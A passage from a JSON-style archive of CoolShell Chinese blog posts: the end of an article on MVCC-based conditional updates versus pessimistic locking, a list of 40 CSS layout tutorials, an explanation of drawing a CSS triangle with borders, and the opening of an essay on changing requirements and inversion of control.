again)的处理模式：\n\n\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_2.png![0915535U3-1](../wp-content/uploads/2012/03/0915535U3-1.png)\n\n\n虽然对单个L来讲不能保证每次都成功更新，但从整个系统来看，总是有任务能够顺利进行。这种方案利用Conditional Update避免了大粒度和长时间的锁定，当各个业务之间资源争用不大的情况下，并发性能很好。不过，由于Conditional Update需要更多的参数，如果condition中value的长度很长，那么每次网络传送的数据量就会比较大，从而导致性能下降。特别是当需要更新的keyValueSet’很小，而condition很大时，就显得非常不经济。\n\n\n为了避免condition太大所带来的性能问题，可以为每条数据项增加一个int型的版本号字段，由D维护该版本号，每次数据有更新就增加版本号；L在进行Conditional Update时，通过版本号取代具体的值。\n\n\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_3.png![0915533324-2](../wp-content/uploads/2012/03/0915533324-2.png)\n\n\n另一个问题是上面的解决方案假设了D是可以支持Conditional Update的；那么，如果D是一个不支持Conditional Update的第三方的key-value存储怎么办呢？这时，我们可以在L和D之间增加一个P作为代理，所有的CRUD操作都必须经过P，让P来进行条件检查，而实际的数据操作放在D。这种方式实现了条件检查和数据操作的分离，但同时降低了性能，需要在P中增加cache，提升性能。由于P是D的唯一客户端；所以，P的cache管理是非常简单的，不必像多客户端情形担心缓存的失效。不过，实际上，据我所知redis和Amazon SimpleDB都已经有了Conditional Update的支持。\n\n\n#### 悲观锁和MVCC对比\n\n\n上面介绍了悲观锁和MVCC的基本原理，但是对于它们分别适用于什么场合，不同的场合下两种机制优劣具体表现在什么地方还不是很清楚。这里我就对一些典型的应用场景进行简单的分析。需要注意的是下面的分析不针对分布式，悲观锁和MVCC两种机制在分布式系统、单数据库系统、甚至到内存变量各个层次都存在。\n\n\n### 场景1：对读的响应速度要求高\n\n\n有一类系统更新特别频繁，并且对读的响应速度要求很高，如股票交易系统。在悲观锁机制下，写会阻塞读，那么当有写操作时，读操作的响应速度就会受到影响；而MVCC不存在读写锁，读操作是不受任何阻塞的，所以读的响应速度会更快更稳定。\n\n\n### 场景2：读远多于写\n\n\n对于许多系统来讲，读操作的比例往往远大于写操作，特别是某些海量并发读的系统。在悲观锁机制下，当有写操作占用锁，就会有大量的读操作被阻塞，影响并发性能；而MVCC可以保持比较高且稳定的读并发能力。\n\n\n### 场景3：写操作冲突频繁\n\n\n如果系统中写操作的比例很高，且冲突频繁，这时就需要仔细评估。假设两个有冲突的业务L1和L2，它们在单独执行是分别耗时t1，t2。在悲观锁机制下，它们的总时间大约等于串行执行的时间：\n\n\nT = t1 + t2\n\n\n而在MVCC下，假设L1在L2之前更新，L2需要retry一次，它们的总时间大约等于L2执行两次的时间（这里假设L2的两次执行耗时相等，更好的情况是，如果第1次能缓存下部分有效结果，第二次执行L2耗时是可能减小的）：\n\n\nT’ = 2 \\* t2\n\n\n这时关键是要评估retry的代价，如果retry的代价很低，比如，对某个计数器递增，又或者第二次执行可以比第一次快很多，这时采用MVCC机制就比较适合。反之，如果retry的代价很大，比如，报表统计运算需要算几小时甚至一天那就应该采用锁机制避免retry。\n\n\n从上面的分析，我们可以简单的得出这样的结论：对读的响应速度和并发性要求比较高的场景适合MVCC；而retry代价越大的场景越适合悲观锁机制。\n\n\n#### 总结\n\n\n本文介绍了一种基于多版本并发控制（MVCC）思想的Conditional Update解决分布式系统并发控制问题的方法。和基于悲观锁的方法相比，该方法避免了大粒度和长时间的锁定，能更好地适应对读的响应速度和并发性要求高的场景。\n\n\n#### 参考\n\n\n* [Wikipedia – Serializability](http://en.wikipedia.org/wiki/Serializability)\n* [Wikipedia – Compare-and-swap](http://en.wikipedia.org/wiki/Compare-and-swap)\n* [Wikipedia – Multiversion concurrency control](http://en.wikipedia.org/wiki/Multiversion_concurrency_control)\n* [Lock-free algorithms: The try/commit/(try again) pattern](http://blogs.msdn.com/b/oldnewthing/archive/2011/04/12/10152296.aspx)\n* [Amazon SimpleDB FAQs – Does Amazon SimpleDB support transactions?](http://aws.amazon.com/simpledb/faqs/#Does_Amazon_SimpleDB_support_transactions)\n* [redis – Transactions](http://redis.io/topics/transactions)\n* [A Quick Survey of MultiVersion Concurrency Algorithms](http://simpledbm.googlecode.com/files/mvcc-survey-1.0.pdf)\n* [非阻塞算法思想在关系数据库应用程序开发中的使用](http://www.cnblogs.com/jobs/archive/2007/11/13/957446.html)\n\n\n#### 友情推荐\n\n\n本文的图是用我自己开发的[TextDiagram](http://textdiagram.sinaapp.com)工具画的，欢迎试用！如果您喜欢，请推荐给朋友，谢谢！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\n* [![由12306.cn谈谈网站性能技术 ](../wp-content/uploads/2012/01/12306-150x150.png)](https://coolshell.cn/articles/6470.html)[由12306.cn谈谈网站性能技术](https://coolshell.cn/articles/6470.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-19 CSS 布局40个教程、技巧、例子和最佳实践.md",
    "content": "---\nlayout: post\ntitle: CSS 布局:40个教程、技巧、例子和最佳实践\ndate: 2012/3/19/ 0:25:46\nupdated: 2012/3/19/ 0:25:46\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Neo 投递本文 – 微博帐号：[\\_锟\\_](http://weibo.com/gandalfthegrey \"_锟_\") 】\n\n\n**前言：** 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布局以众多优点成为主流，本文将介绍40个基于CSS的web布局的资源和教程。文章的出处在<http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html>。文中的不少的例子在一本经典的CSS书籍[《CCS: The Missing Manual, 2nd Edition》](http://shop.oreilly.com/product/9780596802455.do)中都可以找到，据我所知，第二版在中国没有翻译出版。你可以从[这里](http://www.itpub.net/forum.php?mod=viewthread&tid=1210179&highlight=CSS%2Bthe%2Bmissing%2Bmanual)下载英文版（不过需要注册个用户名）\n\n\n**正文**  \n\n**基于CSS的布局**能提供更灵活布局方式和更强的用户视觉体验。一些重要技巧和关键点可以帮助初学者理解CSS布局的基础和本质。这也是本文成文的原因 ——找到那些完美的布局，**完全灵活的，等高栏**和工作完美的布局。  \n\n因此下面这个列表就是我们整理了网络上关于基于CSS布局的一些技巧，教程和最佳实践的列表。  \n\n当然你也可能对下面这些和CSS相关的主题有兴趣：\n\n\n[The 7 CSS Hacks that we should use](http://www.noupe.com/css/9-timeless-3-column-layout-techniques.html>9 Timeless 3 Column Layout Techniques</a></ui><br /> <ui><a href=)  \n\n[Using CSS to Do Anything: 50+ Creative Examples and Tutorials](http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html)  \n\n[Using CSS to Fix Anything: 20+ Common Bugs and Fixes](http://www.noupe.com/css/using-css-to-fix-anything-20-common-bugs-and-fixes.html)\n\n\n\n#### **CSS 布局教程**\n\n\n1-[使用CSS完成三栏固定布局结构](http://woork.blogspot.com/2008/01/three-column-fixed-layout-structure.html)– 这篇文章解释了如何实现一个基于的HTML/CSS来设计一个简单的带有基本要素（顶部的logo条，导航条，文本区，定义分类的中部栏，右边侧栏插入google的120X600的广告区）的固定三栏页面布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts.gif)\n\n\n2-[使用CSS设计页面布局](http://woork.blogspot.com/2007/10/design-page-layout-using-css.html)– 如何使用CSS文件来为你的站点设计页面布局。  \n\n![](../wp-content/uploads/2012/03/css-layouts2.gif)\n\n\n3-[如何创建一个水平布局的站点](http://css-tricks.com/how-to-create-a-horizontally-scrolling-site/)– 创建不同于常规的水平布局的站点技术（译者注：水平布局，客户体验也就仁者见仁了）\n\n\n![](../wp-content/uploads/2012/03/css-layouts3.gif)  \n\n例子[查看这里](http://css-tricks.com/examples/HorzScrolling) |[下载](http://css-tricks.com/examples/HorzScrolling.zip)\n\n\n4-[超级简单的两栏布局](http://css-tricks.com/super-simple-two-column-layout/)– 创建不同于常规的水平布局的站点技术（译者注：这里是原作者笔误吧和上面的内容一样）.\n\n\n![](../wp-content/uploads/2012/03/css-layouts4.gif)\n\n\n例子[查看这里](http://css-tricks.com/examples/SuperSimpleTwoColumn) [下载](http://css-tricks.com/examples/SuperSimpleTwoColumn.zip)\n\n\n5-[简单两栏CSS布局](http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/)– 这是一个创建简单两栏布局的教程。这种布局包含了一个标题区，一个水平导航条，主内容区，边侧栏，和页脚区。并且这个布局是水平居中的。\n\n\n![](../wp-content/uploads/2012/03/css-layouts6.gif)\n\n\n例子[查看这里](http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/finished.html)\n\n\n6-[圣杯布局(The holy grail layout)](http://dnevnikeklektika.com/en/the-holy-grail-layout-3-columns-and-a-lot-less-problems) – 3栏布局会有一些问题 ，这篇文章讨论了一种三栏布局——两栏固定宽度边侧栏加上一栏变宽中栏布局，保证了页面的良好结构和清晰。\n\n\n![](../wp-content/uploads/2012/03/css-layouts7.gif)\n\n\n例子[查看这里](http://dnevnikeklektika.com/css/3ColLayout/working.html)\n\n\n7-[CSS居中101](http://www.simplebits.com/notebook/2004/09/08/centering.html)– 如何使用CSS完成居中一个固定宽度的布局\n\n\n使用CSS，通过下面两条规则完成对id为container的DIV所包含的内容居中\n\n\n\n```\n\n<body>\n <div id=\"container\"> ...entire layout goes here...\n</div>\n</body>\n\n```\n\n\n```\n\nbody {\n    text-align: center;\n}\n#container {\n    margin: 0 auto;\n    width: xxxpx;\n    text-align: left;\n}\n\n```\n\n8-[从头创建CSS布局](http://www.subcide.com/tutorials/csslayout/index.aspx)– 这个指南通过创建一个全功能的 CSS布局来一步步教你入门CSS布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts9.gif)\n\n\n9-[非主流！多栏布局](http://www.alistapart.com/articles/multicolumnlayouts/)– 多栏布局，等高栏（每一列的高度都相等），固定或变宽中央区，简洁标记，CSS 。(译者注：原文作者的图配的和上图一样)\n\n\n![](../wp-content/uploads/2012/03/css-layouts9.gif)\n\n\n例子[查看这里](http://www.alistapart.com/d/multicolumnlayouts/3ColLiquid.html)\n\n\n10- [创建天下无双的CSS布局](http://www.positioniseverything.net/articles/onetruelayout/)– 高灵活性布局,等高栏，跨栏垂直摆放元素。本文告诉你通过何等手段完成这些目标，并使用它们创建天下无双的CSS布局（译者注:原文是One True Layout ，不知道怎么翻译，就天下无双吧。）\n\n\n![](../wp-content/uploads/2012/03/css-layouts22.gif)\n\n\n[查看这里](http://www.positioniseverything.net/articles/onetruelayout/examples)\n\n\n11-[从PSD到HTML，手把手完成WEB设计](http://nettuts.com/site-builds/from-psd-to-html-building-a-set-of-website-designs-step-by-step/)-从Photoshop到完整HTML，全过程手把手教会你。\n\n\n![](../wp-content/uploads/2012/03/css-layouts34.jpg)\n\n\n例子[查看这里](http://nettuts.s3.amazonaws.com/017_Creatif/Site/index.html) | [下载](http://nettuts.s3.amazonaws.com/017_Creatif/Site_Download.zip)\n\n\n12- [5个XHTML/CSS技巧](http://tutorialblog.org/5-tips-for-coding-xhtmlcss-layouts/) – 5个CSS技巧帮助你完成从基于表格的布局到基于CSS的布局。\n\n\n13-[设计一个基于CSS的模板](http://veerle.duoh.com/index.php/blog/comments/designing_a_css_based_template_part_i/) – 这是一个教你创建基于CSS的模板页的基础教程。这个教程由下面几个部分构成：第一部分覆盖了在Photoshop CS\\*中的创建导航条按钮，第二部分：创建背景接下来的清单是标题和页面布局，最后的部分在XHTML和CSS中实现。\n\n\n![](../wp-content/uploads/2012/03/css-layouts35.jpg)\n\n\n[下载](http://homepage.mac.com/vpieters/css_step2/step2_whooshes.mov.zip)\n\n\n14-[使用CSS布局跳出常规布局](http://www.sitepoint.com/article/breaking-out-of-the-box)– 如果你理解了基于表格布局的工作方式，你能通过合并或拆分表格创建你随心所欲的布局。就这个目标（同时支持灵活性和可维护性），CSS能够提供比基于表格更多地东西。Jina Bolton的教程解释如何达到这个目标。\n\n\n![](../wp-content/uploads/2012/03/css-layouts36.gif)\n\n\n15-[高级CSS教程:手把手](http://www.webreference.com/authoring/style/sheets/layout/advanced/)– 这个教程的终极目标创建一个CSS布局，这个CSS布局精确地重组了原有使用table的WebReference.com的布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts29.gif)\n\n\n16-[了解CSS布局的6个关键要素](http://snook.ca/archives/html_and_css/six_keys_to_understanding_css_layouts/)-本文讲述了6件基于CSS布局需要了解的事情：盒模型(Box Model)，浮动栏(Floated Columns) （译者注：float是WEB布局最重要的一个属性了）。使用Em来设置尺寸（Sizing Using Ems），图片替换（Image Replacement）,浮动导航和Sprintes。\n\n\n17-[你会犯这些常见的博客布局错误吗？](http://wisdump.com/design/are-you-making-these-common-blog-layout-mistakes/)-讨论4个博客布局中常见而且易修复的错误。\n\n\n18-[页面布局](http://www.htmldog.com/guides/cssadvanced/layout/)-CSS页面布局中的浮动元素和定位元素实践指导。\n\n\n你可以查看这些例子：[Absolute Position within a relative box](http://www.htmldog.com/examples/positioning4.html) [two floated boxes](http://www.htmldog.com/examples/float2.html)和 [using a border to provide the background for a column](http://www.htmldog.com/examples/pagelayout3.html)\n\n\n19-[Site in an Hour](http://leftjustified.net/site-in-an-hour/)– 使用复杂CCS布局完成简单的工作。\n\n\n![](../wp-content/uploads/2012/03/css-layouts40.jpg)\n\n\n#### **关于布局的最佳资源**\n\n\n下面的大多数这些资源不需要许可就能直接使用，然而，其中的一些需要先发邮件确认一下是否可以使用这些资源。因此，在使用之前最好先检查资源的版权信息。\n\n\n20-[简单CSS页面布局](http://www.maxdesign.com.au/presentation/page_layouts/)– 这里有一套2栏和3栏的CSS布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts10.jpg)\n\n\n你可以通过这里查看这些样例 [Liquid three column layout](http://www.maxdesign.com.au/presentation/process/example23.htm), [Left aligned, set width](http://www.maxdesign.com.au/presentation/page_layouts/single04.htm) and [Liquid insanity](http://www.maxdesign.com.au/presentation/liquid/example13.htm).\n\n\n21-[完美的三栏变宽布局（百分比定宽度）The Perfect 3 Column Liquid Layout (Percentage widths)](http://matthewjamestaylor.com/blog/perfect-3-column.htm)– 没有CSS hack（译者注：不知道怎么翻译，点击[这里](http://baike.baidu.com/view/1119452.htm)查看解释）. 良好地收索引擎优化.无图. 无Javascript. 跨浏览器 和IPHONE设备兼容\n\n\n![](../wp-content/uploads/2012/03/css-layouts11.gif)\n\n\n你可以通过这里查看样例 [Liquid three column layout](http://www.maxdesign.com.au/presentation/process/example23.htm), [Left aligned, set width](http://www.maxdesign.com.au/presentation/page_layouts/single04.htm) 和 [Liquid insanity](http://www.maxdesign.com.au/presentation/liquid/example13.htm). (译者注：这里的链接和上面重复了，哎，原文的错误吧)\n\n\n22-[CSS模板和样例](http://www.intensivstation.ch/en/templates/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts21.gif)\n\n\n你可以通过这里查看这些样例 [3 columns fixed](http://www.intensivstation.ch/files/en_templates/temp06.html) [centered](http://www.intensivstation.ch/files/en_templates/temp06.html), [fixed Box totally](http://www.intensivstation.ch/files/en_templates/temp11.html)[centered](http://www.intensivstation.ch/files/en_templates/temp11.html) and [3 columns, all](http://www.intensivstation.ch/files/en_templates/temp03.html)[dynamic](http://www.intensivstation.ch/files/en_templates/temp03.html)\n\n\n23-[IM 布局](http://layouts.ironmyers.com/)– IM 布局是一种简单地的CSS布局系统，IM布局提供了全A级的浏览器的支持。\n\n\n![](../wp-content/uploads/2012/03/css-layouts24.gif)\n\n\n你可以通过这里查看这些样例: [The Holy Grail 3 Column Layout](http://www.ironmyers.com/examples/three_column_layout.html), [The Classic Blog Layout](http://www.ironmyers.com/examples/classic_blog.html) 和 [The Multi Column Layout.](http://www.ironmyers.com/examples/multi_column.html)\n\n\n24-[CSSplay](http://www.cssplay.co.uk/layouts/index.html) – CSS布局列表\n\n\n![](../wp-content/uploads/2012/03/css-layouts25.gif)\n\n\n你可以通过这里查看这些样例:[Cross browser FIXED](http://www.cssplay.co.uk/layouts/fixit.html), [Three columns](http://www.cssplay.co.uk/layouts/threecol.html) and [CSS Frame – The Holy Grill](http://www.cssplay.co.uk/layouts/frame.html).\n\n\n25-[Layoutgala](http://blog.html.it/layoutgala/) – 基于同样的的标记l得到最大数量的不同的布局方式。没有CCS hack，没有CSS workaround ，良好的浏览器兼容性。40种不同布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts26.gif)\n\n\n你可以通过这里查看这些样例:[Three fixed Columns](http://blog.html.it/layoutgala/LayoutGala07.html), [Three percentage columns](http://blog.html.it/layoutgala/LayoutGala04.html) and [Liquid, three columns, hybrid widths](http://blog.html.it/layoutgala/LayoutGala19.html) (吐槽：没有等高，不好看).\n\n\n26-[Glish](http://www.glish.com/css/)– 许多有用的跨浏览器布局技术\n\n\n![](../wp-content/uploads/2012/03/css-layouts27.gif)\n\n\n你可以通过这里查看这些样例: [3 columns, the holy grail](http://www.glish.com/css/7.asp), [2 columns, ALA style](http://www.glish.com/css/9.asp) and [3 columns, all fluid](http://www.glish.com/css/2.asp) \n\n\n27-[Thenoodleincident](http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html)– CSS 从简单的单盒到3盒并增加一个顶部条，所有都是变宽。\n\n\n![](../wp-content/uploads/2012/03/css-layouts28.gif)\n\n\n28-[The Layout Reservoir](http://www.bluerobot.com/web/layouts/)– 很多有用的CSS布局技术\n\n\n![](../wp-content/uploads/2012/03/css-layouts30.gif)\n\n\n你可以通过这里查看这些样例: [2 columns – left menu](http://bluerobot.com/web/layouts/layout1.html), [3 columns – flanking menus](http://bluerobot.com/web/layouts/layout3.html)和 [Auto-width Margins](http://bluerobot.com/web/css/center1.html) .\n\n\n29-[The only CSS layout you need](http://www.strictlycss.com/articles/article/40/the-only-css-layout-you-need)– 在这篇文章中将会为你展现10个基于同一的HTML的不同的的布局。\n\n\n![](../wp-content/uploads/2012/03/css-layouts32.gif)\n\n\n你可以通过这里查看这些样例:  [Three column CSS layout – left and right menu](http://www.strictlycss.com/examples/three-column-layout-1.asp), [Two column CSS layout – top and left menu](http://www.strictlycss.com/examples/three-column-layout-2.asp) 和 [Three column CSS fluid layout: 100% width](http://www.strictlycss.com/examples/three-column-layout-7.asp)\n\n\n30-[另一个多栏布局](http://www.yaml.de/)-是一个创建当代流行的变宽的浮动布局的XHTML/CSS框架。这是一个多功能实用的布局。\n\n\n点击[这里](http://www.yaml.de/fileadmin/download/release_306/yaml_306_080609.zip)下载.\n\n\n31-[Liquid Designs](http://www.cssliquid.com/)– 使用XHTML和CSS的变宽设计库。\n\n\n#### **最佳实践**\n\n\n如果你需要寻找一些布局灵感，你可以从下面的网站链接中找到。这些站点演示了CSS布局如何应用于不同类型的网站。查看这些网站是如何分成2栏或3栏，或混合宽栏和窄栏布局。\n\n\n32-[Helldesign](http://helldesign.net/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts5.jpg)\n\n\n33-[Silverbackapp](http://silverbackapp.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts12.jpg)\n\n\n34-[OS communications informatiques](http://www.os.ca/accueil.php)\n\n\n![](../wp-content/uploads/2012/03/css-layouts13.jpg)\n\n\n35-[Rockatee](http://rockatee.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts14.jpg)\n\n\n36-[Darrenhoyt](http://www.darrenhoyt.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts15.jpg)\n\n\n37-[Makebetterwebsites](http://www.makebetterwebsites.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts16.jpg)\n\n\n38-[Elitetheme](http://elitetheme.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts17.jpg)\n\n\n39-[Studio7designs](http://www.studio7designs.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts18.jpg)\n\n\n40-[Brightcreative](http://brightcreative.com/)\n\n\n![](../wp-content/uploads/2012/03/css-layouts19.jpg)\n\n\n*(全文完)*\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/1949.html)[Web中的省略号](https://coolshell.cn/articles/1949.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\nThe post [CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-24 神奇的CSS形状.md",
    "content": "---\nlayout: post\ntitle: 神奇的CSS形状\ndate: 2012/3/24/ 12:35:41\nupdated: 2012/3/24/ 12:35:41\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Neo 投递本文 – 微博帐号：[@\\_锟\\_](http://weibo.com/gandalfthegrey \"_锟_\") 】\n\n\n在StackOverflow上有这么一个问题，有位同学在<http://css-tricks.com/examples/ShapesOfCSS/> 找到一些使用CSS做的形状，其中一位同学对下面的这个形状充满了疑问。\n\n\n形状是：\n\n\n![](../wp-content/uploads/2012/03/a.png)\n\n\n代码是：\n\n\n\n```\n\n#triangle-up {\nwidth: 0;\nheight: 0;\nborder-left: 50px solid transparent;\nborder-right: 50px solid transparent;\nborder-bottom: 100px solid red;\n}\n\n```\n\n这位同学就提问啦，为啥这么这么几句就能画出一个三角形呢？  \n\n于是呢，有高人出现，这个高人图文并茂的解释了这个三角的成因\n\n\n  \n\n首先呢，我们需要了解HTML标记的Box Model（盒模型），这个例子中呢我们将content，padding都看作content。忽略掉margin。那么一个盒模型就是下图\n\n\n![](../wp-content/uploads/2012/03/b.png)\n\n\n中间是内容，然后是4条边。每一条边都有宽度。  \n\n根据上面CSS的定义，没有border-top（顶边）的情形下 ,我们的图形如下：\n\n\n![](../wp-content/uploads/2012/03/c.png)\n\n\nwidth设置为0后 ，内容没有了就成为下图：\n\n\n![](../wp-content/uploads/2012/03/d.png)\n\n\nheight也设置为0，只有底边了。\n\n\n![](../wp-content/uploads/2012/03/e.png)\n\n\n然后两条边都是设置为透明，最后我们就得到了\n\n\n![](../wp-content/uploads/2012/03/f.png)\n\n\n这个属于奇技淫巧，但是也说明CSS的强大，没有做不到只有想不到。另外<http://css-tricks.com/examples/ShapesOfCSS/>还能找到很多其他的形状，感兴趣的同学可以自己去看。还有酷壳以前的这篇文章《[CSS实现的各种形状](https://coolshell.cn/articles/5164.html \"CSS图形\")》\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/5164.html)[CSS图形](https://coolshell.cn/articles/5164.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [神奇的CSS形状](https://coolshell.cn/articles/6913.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-26 需求变化与IoC.md",
    "content": "---\nlayout: post\ntitle: 需求变化与IoC\ndate: 2012/3/26/ 3:1:7\nupdated: 2012/3/26/ 3:1:7\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Todd投递本文 – 微博帐号：@[weidagang](http://weibo.com/weidagang \"weidagang\") 】\n\n\n#### 需求又变了，怎么办？\n\n\n先上一个轻松的段子：\n\n\n\n> 程序员XX遭遇车祸成植物人，医生说活下来的希望只有万分之一，唤醒更为渺茫。可他的Lead和亲人没有放弃，他们根据XX工作如命的作风，每天都在他身边念：“XX，需求又改了，该干活了，你快来呀！”，奇迹终于发生了，XX醒来了，第一句话：“需求又改了？”。\n> \n> \n\n\n这个段子用幽默的方式反映了需求变化是每一个程序员、架构师或项目经理都会经常遇到的问题。面对这个问题，不同的人有不同的应对之道，最近微博上有一段关于需求变化的讨论：\n\n\n\n> @假装刺猬的猪：我们在软件开发过程中，会持续碰到客户需求变更的情况。如果没有领域建模，我们单纯将问题使用直觉将问题解决，那么等到客户需求变更或者有新的需求时，就会面临一个僵硬的前设计！无法在以前的设计上持续深入的优化模型，导致需求变更无法及时深化。设计实现均滞后与变更！\n> \n> \n> @高煥堂: <碰到客户需求变更的情况>是合理的；但<领域建模>不是美好的手段!!!\n> \n> \n> @weidagang: 要不被客户牵着鼻子走，需要自己有很强的设计能力，**反过来**让客户跟着你的设计来满足你的要求。能做到这点的公司很少，但这是软件行业唯一有希望的出路。\n> \n> \n> @高煥堂: <这是软件行业唯一有希望的出路>。 Great!!\n> \n> \n\n\n如何应对需求变化？ @假装刺猬的猪 的答案是领域建模，并持续优化模型，适应需求的变化。@高煥堂 则认为领域建模不是美好的手段。我进一步补充，应该**“反过来”**让自己在需求变化中处于主导地位，而不是被动地适应。\n\n\n\n#### 控制反转 (IoC)\n\n\n什么样就算是“反过来”了呢？举个例子：\n\n\n\n> 用户想购买一台普通PC，他只想电脑能流畅运行魔兽世界，他根本不想知道什么叫主板，什么叫内存，什么叫CPU；但他不得不接受必须购买主板、CPU、内存的事实，因为PC架构是产业标准，而不是由用户定的。客户有选择的权利，但没有设计的权利，客户的需求必须在设计框架下得到满足。\n> \n> \n\n\n这里我们要问PC架构是保护了谁的利益？显然，直接的受益者是厂商。如果没有PC架构的保护，厂商就会直接面对客户，客户说我需要功能A，我马上分析设计实现功能A；客户说我要功能B，我马上分析设计实现功能B … 有了PC架构的保护，厂商就变得更加强势，用户的一切需求都必须在PC架构下来谈。厂商可以倾听用户的声音，不断改进产品，但设计主导权永远在自己手中。我们IT行业常常用“做产品”和“做项目”的视角来区分不同的公司，但很少有人用“做设计”的视角来看。实际上，关键的问题在于设计主导权是厂商还是在客户。如果设计主导权在客户，不管是做产品、做服务还是做项目，其命运必然是疲于奔命应付客户，最后获得微薄的利润；如果设计主导权在厂商，不管做产品、做服务还是做项目都能有更多的话语权和更高的利润。\n\n\n当然，光有设计还不够，必须客户接受才能起到通过设计掌握主导权的作用。这一方面需要自己具有很强的设计能力，如苹果就是以设计能力著称的公司；另一方面，和其他厂商结盟壮大阵营也是一种方法，如最著名的Wintel联盟(Windows+Intel)，以及现在的日益壮大的Android阵营都属于此类。假如有厂商不遵守PC产业标准，说我的PC就没有主板，没有显卡，因为用户更不不需要这些东西；那么，它要么像苹果一样独树一帜成为一种新的标准，要么无人问津。\n\n\n我所谈到的“反过来”本质上就是软件设计中的控制反转 (Inversion of Control, 